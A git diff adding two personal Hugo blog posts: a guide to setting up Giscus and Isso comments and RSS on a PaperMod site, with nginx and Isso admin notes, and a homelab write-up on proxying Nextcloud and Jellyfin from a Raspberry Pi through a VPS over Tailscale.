+iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qmMMP/jQAYhfTYlR434YgynP7WOjB +JGoHawhhtGWqCIjhpoems0F3PKwC6Amx+6ddHwNZbtOUHUQMS2WEqwTudApV+GSu +h50G8+C8PEyvSEPkkeXusSUTVR1S54j4Fdi1Up64TJoAoWpxX1pSz5Lm0mkjG1UJ +ztdRZqNEjyNKz9wziX9XBD5kt3Ejb1kJQ9fRuwdYfOYi//2iOgIwZmA+WHZoFi6N +SSwXP01MGqV5CnULFat5piTR0Wbz7lrNQyTFEcRXG+hFKsS6JP9e/8uDMHB7Y7pw +sUR/J4IOPNrZGivsIcKnDhtEB7bKEqUbth1osQLSgfS4HAJSKl7Z8IfRa1hwkr9q +80DQcDBnhT0a8xV5tlQreY2VAO7iBsw3yli6ZGqaRVbOpX3BqZ7Evo8iFSNo7YLz +uxzMy8jvgstG12C4Uy7/bxVIk47BWxQHmAufnd+6IbcANXelSPUzZB7zPLBquSBa +dLRnwukpSpoSvVnD0CxLPAKHMgZqWR5CQTksjbGF/7hZgfJBDACqeAQPBBczAWXH +L5ij+fzUAlzuloxtAnV5t1gpEbNCfB2olyBc7Ii3u0wHnYKwOMIzk5dx4q+U5XTQ +Y/klclFuNguXly/G4smOwCXvLTqlF2xgpR9jl8fMVEI7wum8k0skBNqV8KwTUONW +9fVBzCiojoS/ctK2bick +=HCVL +-----END PGP SIGNATURE----- diff --git a/content/posts/new_features.md b/content/posts/new_features.md new file mode 100644 index 0000000..1ead872 --- /dev/null +++ b/content/posts/new_features.md @@ -0,0 +1,759 @@ ++++ +title = "New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)" +description = "A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod." +date = 2025-10-23T19:31:12+02:00 +draft = false +slug = "comments-rss-papermod" +ShowToc = true +TocOpen = true +tags = ["hugo", "papermod", "giscus", "rss", "comments"] +categories = ["blog", "meta"] ++++ + +> Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +> Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. + +--- + +I've been wanting to add comment section to my blog for a while. +There are a few problems. +- I don't want to get attacked by bots or random people for no reason. +- I don't want to allow weird things to happen. +- I don't want to have a database for it. + +So... I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github: + +> **What the app can do** +> The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do. + +> **What “Act on your behalf” means** +> That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed. + +> **Do commenters have alternatives?** +> Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this. + +> **Privacy & storage** +> No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings. + +With the notice out of the way let's dive right in! + +--- + +## Why I chose Giscus (instead of Disqus) + +- **No ads or trackers** (my page weight thanks me). +- **Uses GitHub Discussions** (portable, transparent, easy to search). +- **Readers log in with GitHub** (no mystery auth popups). +- In theory you can directly go to the repo's discussion section and comment there! + +--- + +## What you need (for your site, not per user) + +- A Hugo site using **PaperMod** ✅ +- A GitHub account ✅ +- A **public** repository for the discussion threads (I called mine `blog-comments`) with **Discussions** enabled ✅ +- Giscus app installed on that repo ✅ + +If you like to keep your main site repo clean, use a separate one, e.g. `github-username/blog-comments`. + +--- + +## 1) Turn on comments with Giscus + +PaperMod renders a `comments.html` partial when `params.comments = true`. +So we enable it in config and create the partial. + +### 1.1 Enable comments globally + +`hugo.toml` (snippet) +```toml +[params] + comments = true +``` + +You can still opt out per post with `comments = false` in front matter. + +### 1.2 Create the comments partial + +Create this file **in your site** (not inside the theme): +``` +layouts/partials/comments.html +``` + +Paste the Giscus embed (swap the placeholders with yours from giscus.app): + +```html +
+ + +
+``` + +**Notes** +- You’ll get `repo-id` and `category-id` from **giscus.app** after picking your repo + category. +- `data-mapping="pathname"` works great for static sites. +- Prefer a **public** repo so visitors can read discussions without friction. +- Want a different language? Change `data-lang` (e.g., `de`, `fr`). + +--- + +## 2) Enable RSS (home + sections) + +Hugo already knows how to generate feeds; we just tell it where. + +`hugo.toml` +```toml +baseURL = "https://example.com/" # set your production URL + +[outputs] + home = ["HTML", "RSS", "JSON"] # JSON is optional (e.g., for on-site search) + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 # -1 = no cap; or set e.g. 20 +``` + +**Feed URLs** +- Home feed: `/index.xml` → `https://example.com/index.xml` +- Section feeds: `/posts/index.xml`, `/notes/index.xml`, etc. (folders are lowercase) + +> If you’re using a `.onion` address or staging domain, just set that in `baseURL`. +> Locally, Hugo serves feeds at `http://localhost:1313/index.xml`. + +--- + +## 3) Show an RSS button on the home page + +PaperMod shows a nice RSS icon on **section/taxonomy** lists by default (when enabled), but not on the home page. Two options: + +### Option A — Use the home “social icons” row +This appears if you enable **Home-Info** or **Profile** mode: + +```toml +[params.homeInfoParams] + Title = "Hello, internet!" + Content = "Notes, experiments, and occasional rabbit holes." + +[[params.socialIcons]] + name = "rss" # lowercase matters + url = "/index.xml" +``` + +### Option B — Add an icon in the footer (theme-safe) +Create: +``` +layouts/partials/extend_footer.html +``` + +Paste: +```html + + {{ partial "svg.html" (dict "name" "rss") }} + RSS + +``` + +Make it a sensible size: + +Create: +``` +assets/css/extended/rss.css +``` + +Paste: +```css +/* Small & aligned RSS icon in the footer */ +.rss-link { display: inline-flex; align-items: center; gap: .35rem; } +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ +.rss-link span { font-size: .95rem; } +``` + +PaperMod auto-bundles anything under `assets/css/extended/`, so no extra imports needed. + +--- + +## 4) Verify everything + +Build or run dev: +```bash +hugo # outputs to ./public +# or +hugo server # serves at http://localhost:1313 +``` + +Check feeds: +```bash +# Home feed: +curl -s http://localhost:1313/index.xml | head + +# A section feed (adjust path to your section name): +curl -s http://localhost:1313/posts/index.xml | head +``` + +Check comments: +1. Open any post locally. +2. Scroll to the bottom — Giscus should appear. +3. Try a reaction or comment (you’ll be prompted to sign in with GitHub). + +--- + +## 5) Per-post controls (handy later) + +Turn comments off for a single post: +```toml +# in that post’s front matter +comments = false +``` + +Full content in RSS (global): +```toml +[params] + ShowFullTextinRSS = true +``` + +Show RSS buttons on section/taxonomy lists: +```toml +[params] + ShowRssButtonInSectionTermList = true +``` + +--- + +## 6) Troubleshooting (aka “what I bumped into”) + +- **Home page has no RSS icon** + That’s expected; either enable Home-Info/Profile mode + `socialIcons`, or use the footer partial. + +- **Section feed 404** + Folder names are lowercase (`content/posts/`, not `content/Posts/`). + The URL mirrors that: `/posts/index.xml`. + +- **Giscus doesn’t create a discussion** + Double-check the four attributes: `data-repo`, `data-repo-id`, `data-category`, `data-category-id`. + Make sure Discussions is enabled and the Giscus app is installed for the repo. + +- **Icon is comically large** + Keep the CSS above; 16–20px usually looks right. + +--- + +## 7) Bonus: fast setup via GitHub CLI (optional, I didn't use it, but I should've perhaps) + +```bash +# Create the public comments repo (adjust names) +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm + +# Enable Discussions for it +gh repo edit yourname/blog-comments --enable-discussions +``` + +Then visit **giscus.app**, select the repo + category (e.g. “Comments”), and copy the generated IDs into `layouts/partials/comments.html`. + +--- + +### Final config snapshot (condensed) + +```toml +baseURL = "https://example.com/" +theme = "PaperMod" + +[outputs] + home = ["HTML", "RSS", "JSON"] + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 + +[params] + comments = true + ShowRssButtonInSectionTermList = true + ShowFullTextinRSS = true + +# Optional if using Home-Info/Profile mode: +# [[params.socialIcons]] +# name = "rss" +# url = "/index.xml" +``` +--- + +# Appendix — Why I added Isso, how I wired it, and what I fixed + +## The story (why Isso + why I still keep Giscus) + +I wanted comments that: +- allow **anonymous** replies (no GitHub account required), +- are **lightweight** and **self-hosted**, and +- can work on my **Tor `.onion` mirror**. + +**Isso** checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of **Giscus** (comments are GitHub Discussions), so I kept both and added a little switcher UI: **“Anonymous (Isso)”** or **“GitHub (Giscus)”**. + +Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus). + + +## How I run it (high-level) + +- **Site:** Hugo + PaperMod +- **Isso:** listening on `127.0.0.1:8080`, stored locally (SQLite) +- **Nginx:** reverse-proxies **`/isso/`** to Isso on both the clearnet and the `.onion` vhost +- **Hugo partial:** renders the two panels (Isso & Giscus) and a switcher; Giscus is **lazy-loaded** and **auto-rethemed** with the site theme + +> I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the **Nginx proxying** and the **Hugo partial**. + + +## Hugo partial: switcher + embeds + +Save as `layouts/partials/comments.html` and include it in your single layout (e.g. `layouts/_default/single.html`) with `{{ partial "comments.html" . }}`. + +```html + +
+ + + Open on GitHub ↗ +
+ + +
+
+ + + Comments powered by Isso + +
+ + + + + +``` + + +## Nginx: proxy Isso on **both** sites (and avoid the 404-onion trap) + +The bug I hit: my `.onion` server had a regex static block that **won over** the plain `/isso/` location, so `/isso/js/embed.min.js` returned **404**. + +**Fix:** make `/isso/` a `^~` prefix location so it beats regex, and place it **above** the static block. + +```nginx +# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) +server { + listen 127.0.0.1:3301 default_server; + server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; + + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + + # /isso -> /isso/ + location = /isso { return 301 /isso/; } + + # IMPORTANT: this must beat regex locations below + location ^~ /isso/ { + proxy_pass http://127.0.0.1:8080/; # Isso container/port + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_redirect off; + proxy_read_timeout 60s; + } + + # static + location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Reload and smoke test: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -I http:///isso/js/embed.min.js # expect 200 +``` + +> If you ever point `data-isso` to a **different origin**, add CORS headers on that vhost. For same-origin (`data-isso="/isso"`), you don’t need CORS. + + +## Small CSS tweaks (one color across light/dark + spacing) + +I wanted the same blue for **reply / edit / delete** links and for **Submit / Preview** buttons, in both themes, and a little spacing: + +```css +/* put this in your site CSS */ +:root { --btn-blue: #2563eb; } /* adjust to taste */ + +/* Isso form buttons */ +.isso-post-action input[type="submit"], +.isso-post-action input[name="preview"] { + background: var(--btn-blue) !important; + color: #fff !important; + border: none; + padding: .5rem .75rem; + border-radius: .4rem; + cursor: pointer; +} + +/* link actions under comments */ +.isso-comment-footer a { + color: var(--btn-blue) !important; + margin-right: .5rem; /* gives "edit" and "delete" some breathing room */ + text-decoration: none; +} +.isso-comment-footer a:hover { text-decoration: underline; } + +/* keep name/email/website stacked, slightly larger */ +.isso-auth-section .isso-input-wrapper { + display: block; + margin: .35rem 0; +} +.isso-auth-section label { font-size: .95rem; } +.isso-auth-section input[type="text"], +.isso-auth-section input[type="email"], +.isso-auth-section input[type="url"] { + width: 100%; + font-size: 1rem; + padding: .5rem .6rem; +} +``` + + +## What changed (the fixes I actually made) + +1. **Theme correctness for Giscus.** + PaperMod doesn’t add `.light`—it only toggles `.dark` and stores `pref-theme`. I now: + - read `localStorage.pref-theme` first, + - fall back to class/data-theme, then + - fall back to OS preference. + I also re-theme the Giscus iframe on every toggle via `postMessage`. + +2. **Isso over Tor.** + On the `.onion` vhost, I moved the proxy to a `^~ /isso/` block so it beats the static regex. That fixed the `404` on `/isso/js/embed.min.js`. + +3. **UI polish.** + - Unified button/link color across themes, + - ensured “edit”/“delete” aren’t touching, + - kept the author/email/website inputs **stacked**, and + - left **Submit**/**Preview** styled and grouped. + + +## Sanity check + +- Toggle the theme: Giscus switches between `noborder_light` and `dark_dimmed` without reload. +- Open DevTools → Network on onion: `/isso/js/embed.min.js` loads with **200**. +- Switcher buttons swap panels instantly; Giscus only loads when clicked. + + + +## 8) Final notes! +I could not fully fix the style of Isso. +CSS is not easy... drat! + +I don't think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I'm happy with it! ^^ + + +# Admin note — Delete all **Isso** comments for a single post + +This note is for future me: how to remove every comment tied to one post in **Isso**. +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or `.onion` — because this operates directly on the database. + +--- + +## TL;DR (host with SQLite) + +> Replace the placeholders for `DB` and `POST_URI` first. + +```bash +# 0) Variables — edit these two lines for your setup +DB="/var/lib/isso/comments.db" # path to your Isso SQLite DB (check isso.conf: [general] dbpath) +POST_URI="/posts/skin_routine/" # the post's URI as stored by Isso (often just the path) + +# 1) Backup (always do this!) +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" + +# 2) Inspect: find the thread row and preview the comments +sqlite3 "$DB" " +.headers on +.mode column +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +SELECT id, tid, created, author, text +FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%') +ORDER BY created DESC +LIMIT 25; +" + +# 3) Delete all comments for that post (thread) +sqlite3 "$DB" " +DELETE FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'); +" + +# 4) (Optional) Remove the now-empty thread row too +sqlite3 "$DB" " +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +VACUUM; +" + +# 5) Done. Isso usually picks this up automatically. +# If you're containerized and want to be safe: +# docker restart +``` + +--- + +## If running Isso in Docker + +Open a shell in the container, then run the same steps: + +```bash +docker exec -it /bin/sh + +# Inside the container: +DB="/db/comments.db" # or /data/comments.db, check your image/volume mapping +POST_URI="/posts/skin_routine/" + +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +exit + +# Optionally restart the container: +docker restart +``` + +--- + +## Notes & gotchas + +- **Find the real DB path**: In `isso.conf` (often `/etc/isso/isso.conf` or within your container at `/config/isso.conf`), look for: + ```ini + [general] + dbpath = /var/lib/isso/comments.db + ``` +- **What goes in `POST_URI`?** Isso stores a `uri` string per thread. With the default embed config, it's usually the **path** (`/posts//`). If you’re unsure, list recent threads: + ```bash + sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;" + ``` +- **Clearnet vs `.onion`**: If you load the same post under multiple origins _and_ your embed setup stores full origins, you may have **multiple thread rows**. The `LIKE` query above deliberately matches any uri containing your `POST_URI` to catch those. +- **Rollback**: To undo, stop Isso (optional), replace the DB with your backup (`comments.YYYY-MM-DD-HHMMSS.backup.sqlite3`), and start Isso again. +- **HTTP API option**: Isso supports `DELETE /` if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. +- **Safety**: Always run a backup first, and **preview with the SELECT** before you run the DELETE. + +--- + +## One-liners for the impatient + +```bash +DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/" +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +``` + +--- + +**Isso container: quick checks & fixes for future me! (thank past me later ^^)** + +**Find the container** +```bash +docker ps -a --format 'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}' | grep -i isso +``` + +**Inspect basic state** +```bash +docker inspect -f 'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}' isso +``` + +**Logs** +```bash +docker logs --tail=200 isso +docker logs -f isso +``` + +**Ports & reachability** +```bash +docker port isso +sudo ss -ltnp | grep ':8080 ' +curl -i http://127.0.0.1:8080/ +``` + +**Restart policy (keep it running)** +```bash +docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso +docker update --restart unless-stopped isso +``` + +**Start/stop the container** +```bash +docker start isso +docker stop isso +``` + +**Who/what stopped it (events)** +```bash +docker events --since 24h --filter container=isso +``` + +**Common config issue: duplicate options/sections** +If logs show DuplicateOptionError or DuplicateSectionError, fix `/config/isso.cfg` (remove duplicate `[server]` blocks or duplicate `public-endpoint`). + +```bash +nl -ba /config/isso.cfg | sed -n '1,120p' +grep -n '^\[server\]' /config/isso.cfg +grep -n '^public-endpoint' /config/isso.cfg +``` + +**Using Docker Compose** *(run these in the directory with your compose file)* +```bash +docker compose ps +docker compose logs --tail=200 isso +docker compose up -d isso +``` + +**If the container doesn’t exist (create/recreate)** +```bash +docker image ls | grep -i isso + +docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest +``` + +**Optional: exclude from auto-updaters (like Watchtower)** +```bash +docker update --label-add com.centurylinklabs.watchtower.enable=false isso +``` + + +_This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix._ + +--- + +{{< sigdl >}} diff --git a/content/posts/pi_service_touchup.md b/content/posts/pi_service_touchup.md new file mode 100644 index 0000000..36acf23 --- /dev/null +++ b/content/posts/pi_service_touchup.md @@ -0,0 +1,418 @@ +--- +title: "Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin" +date: 2026-02-02 +tags: ["homelab","nginx","docker","nextcloud","jellyfin","cloudflare","tailscale","security","raspberrypi"] +description: "Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable." +draft: false +--- + +> I didn’t “move Nextcloud to the cloud”. +> I moved the **front door** to a VPS… and kept the house on my Raspberry Pi. 😄 + +This post documents the setup I ended up with: + +- A public **VPS** (host: `funbox`) running **Nginx** + **Let’s Encrypt** +- A private **Raspberry Pi** (host: `iot-hub`) running Docker services (**Nextcloud**, **Jellyfin**, …) +- A private backhaul using **Tailscale** (the `100.x.y.z` network) +- A correct Nextcloud reverse-proxy configuration (**trusted_domains**, **trusted_proxies**, and overwrite values) +- A pragmatic security layer for media: **Basic Auth at Nginx for Jellyfin** + (in addition to Jellyfin’s own login) + +I’m writing this as a “future me” note and a “copy-paste friendly” guide. + +--- + +## 0) Topology + +The request path looks like: + +``` +Browser + ↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) + ↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt + ↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … +``` + +Why I like it: + +- The Pi can sit behind home router / CGNAT and still be reachable. +- TLS, redirects, headers, auth, rate limits… all centralized on the VPS. +- Internal IPs can change without breaking public URLs. + +--- + +## 1) What’s running on the Pi? + +On `iot-hub` the “interesting” containers are: + +- `nextcloud` (Apache variant) +- `nextcloud-db` (Postgres) +- `nextcloud-redis` +- `jellyfin` + +Example `docker ps` style output (yours may vary): + +``` +nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp +``` + +So on the Pi, the services listen on: +- `http://:8080` for Nextcloud +- `http://:8096` for Jellyfin + +But in my setup, **the VPS does not reach those via LAN** — it reaches them via Tailscale IPs. + +--- + +## 2) Tailscale: the private wire between VPS and Pi + +Tailscale assigns each node an address like `100.xx.yy.zz`. + +In my config, Nginx on `funbox` points to the Pi via Tailscale: + +- Nextcloud upstream: `http://100.104.127.96:8080` +- Jellyfin upstream: `http://100.104.127.96:8096` + +(Use the Tailscale IP of your Pi.) + +Quick sanity checks from the VPS: + +```bash +# from funbox, make sure you can reach the Pi service: +curl -I http://100.104.127.96:8080 +curl -I http://100.104.127.96:8096 +``` + +If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online). + +--- + +## 3) Nginx on the VPS: reverse proxy blocks + +### 3.1 Nextcloud vhost (VPS → Pi via Tailscale) + +Create (or edit): + +`/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir` + +and symlink into `sites-enabled`. + +Here is a complete working example: + +```nginx +# Redirect HTTP → HTTPS +server { + listen 80; + listen [::]:80; + server_name nextcloud.alipourimjourneys.ir; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name nextcloud.alipourimjourneys.ir; + + # Certbot-managed certs + ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + # Big uploads (tune to taste) + client_max_body_size 2G; + + # CalDAV/CardDAV redirects + location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } + location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } + + location / { + proxy_pass http://100.104.127.96:8080; + + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Sometimes helps apps behind multiple proxies + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Port $server_port; + + # Nextcloud + WebDAV can do long requests + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + # Usually good for DAV/uploads + proxy_buffering off; + proxy_request_buffering off; + } +} +``` + +Then test + reload: + +```bash +sudo nginx -t +sudo systemctl reload nginx +``` + +### 3.2 Jellyfin vhost (with Basic Auth) + +Create: + +`/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir` + +Example: + +```nginx +server { + listen 80; + listen [::]:80; + server_name jellyfin.alipourimjourneys.ir; + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name jellyfin.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + client_max_body_size 512M; + + # ✅ Basic Auth gate (extra layer before Jellyfin) + auth_basic "Jellyfin (private)"; + auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; + + location / { + proxy_pass http://100.104.127.96:8096; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Jellyfin uses websockets + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + proxy_buffering off; + } +} +``` + +Enable: + +```bash +sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t +sudo systemctl reload nginx +``` + +--- + +## 4) Creating the Basic Auth password file + +Install tools (Debian/Ubuntu): + +```bash +sudo apt-get update +sudo apt-get install -y apache2-utils +``` + +Create the password file: + +```bash +sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername +``` + +(If adding more users later, omit `-c`.) + +Lock it down: + +```bash +sudo chown root:root /etc/nginx/.htpasswd-jellyfin +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin +``` + +### Notes on clients +- Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. +- Some TV apps can be quirky. If a client can’t handle it, you can: + - remove Basic Auth, or + - keep it only on selected paths, or + - use Cloudflare Access in front of Jellyfin instead (more work). + +--- + +## 5) Nextcloud: configure it to behave behind the reverse proxy + +Nextcloud needs to know: +- what hostnames are valid, +- which proxy is trusted, +- and what the “outside” URL scheme is. + +You can do it via `occ` inside the container (Apache image uses `www-data`). + +### 5.1 trusted_domains + +Check current values: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains +``` + +Add your public domain: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir" +``` + +(Keep your internal name too if you still use it, e.g. `rpi:8080`.) + +### 5.2 trusted_proxies + +Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP. + +Example: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75" +``` + +(Use the **VPS’s Tailscale IP** as seen from the Pi.) + +### 5.3 overwritehost / overwriteprotocol / overwrite.cli.url + +Tell Nextcloud “the world sees me as https://nextcloud.example”: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir" +``` + +### 5.4 forwarded_for_headers (optional, but often helpful) + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR" +``` + +Restart Nextcloud container after config: + +```bash +docker restart nextcloud +``` + +--- + +## 6) Sanity checks (curl is your friend) + +From anywhere public: + +```bash +curl -I http://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav +``` + +Expected “good signs”: + +- HTTP returns **301** to HTTPS +- HTTPS returns **302** to `/login` (or 200 if already authenticated) +- `/.well-known/caldav` returns **301** to `/remote.php/dav/` + +If you see redirect loops or wrong hostnames: +- revisit `overwritehost`, `overwriteprotocol`, `trusted_proxies`. + +--- + +## 7) “Do I really need Cloudflare Access / WARP?” + +### The honest answer +If your setup is: +- HTTPS only +- strong passwords + MFA in Nextcloud/Jellyfin +- your origin isn’t directly exposed (only the VPS is public) +- you keep things patched + +…then you’re already in a **reasonable** place. + +### “Can I skip Cloudflare Access?” +Yes. In this topology, Cloudflare Access is optional. The main security boundary is: + +- **Public:** VPS + Nginx +- **Private:** Pi over Tailscale + +For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”. + +--- + +## 8) Cloudflare Access: One-time PIN not arriving + passkeys + +Two common gotchas: + +### 8.1 One-time PIN email didn’t arrive +That flow relies on email delivery. Check: +- spam/junk folder +- if your provider blocked it +- the exact email allowlist in your policy + +If it’s flaky, I’d avoid One-time PIN and use a real identity provider. + +### 8.2 Can I use passkeys / Apple / Google? +Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach: +- pick what your family already uses (Google or Apple), +- configure that as the login method, +- avoid WARP enrollment unless you specifically want device-based access. + +--- + +## 9) Hardening checklist (tiny but effective) + +On the VPS: +- Keep Ubuntu security updates on +- firewall: allow only what you need (22/80/443) +- optional: `fail2ban` for SSH + +On the Pi: +- keep Docker images updated +- Postgres/Redis not exposed publicly (Docker internal network) +- backups: Nextcloud data + DB + +--- + +## 10) TL;DR + +- VPS Nginx terminates TLS, proxies to Pi over Tailscale +- Nextcloud must be told about: + - `trusted_domains` + - `trusted_proxies` + - overwrite values (`overwritehost`, `overwriteprotocol`, `overwrite.cli.url`) +- `curl -I` should show sane redirects + `/remote.php/dav/` +- Jellyfin gets an extra gate with **Nginx Basic Auth** + +Boring is good. Boring runs for months. + +--- + + + +--- + +{{< sigdl >}} diff --git a/content/posts/relationships.asc b/content/posts/relationships.asc new file mode 100644 index 0000000..7be341a --- /dev/null +++ b/content/posts/relationships.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qBzcP/Ax3OsZE4mpGHNgry66tHo24 +HRt1r0Ye6CWZ1O+/4s0n74+C3hf5z58jF/rVVljFsMs2fJDKbbt/wuAuH8QycZMc 